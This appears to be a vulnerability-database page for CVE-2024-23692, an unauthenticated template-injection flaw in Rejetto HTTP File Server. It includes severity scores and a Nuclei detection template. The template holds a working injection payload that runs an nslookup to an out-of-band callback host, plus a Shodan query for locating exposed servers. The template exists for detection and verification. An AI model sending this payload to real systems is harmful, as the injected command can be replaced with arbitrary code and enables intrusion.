Lucene search

ProjectDiscoveryNUCLEI:CVE-2024-23692

HistoryJun 08, 2024 - 1:04 a.m.

Rejetto HTTP File Server - Template injection

2024-06-0801:04:41

ProjectDiscovery

github.com

cve

cve2024

hfs

rejetto

rce

template injection

http

file server

arbitrary commands

http request

metasploit

rapid7

interactsh

rejetto http file server

unauthenticated

execution vulnerability

cvss

shodan

http method

httpd

interactsh-url

verify

max request

shodan query

verified

severity

reference

classification

exploit

security advisory

remote

attack

command execute

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.8 High

AI Score

Confidence

High

0.002 Low

EPSS

Percentile

59.3%

JSON

This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request.

id: CVE-2024-23692

info:
  name: Rejetto HTTP File Server - Template injection
  author: johnk3r
  severity: critical
  description: |
    This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request.
  reference:
    - https://github.com/rapid7/metasploit-framework/pull/19240
    - https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-23692
    cwe-id: CWE-1336
  metadata:
    verified: true
    max-request: 1
    shodan-query: product:"HttpFileServer httpd"
  tags: cve,cve2024,hfs,rejetto,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/?n=%0A&cmd=nslookup+{{interactsh-url}}&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "rejetto"
# digest: 4b0a00483046022100b9a14758a1d4c7e1141e672f3b672defcadb9519c76b6097f97447664b207dd9022100a289dba646ba9b3f9b044ec5a7c73804d94b8b4c5ff776df5650975fbbe80a98:922c64590222798bb761d5b6d8e72950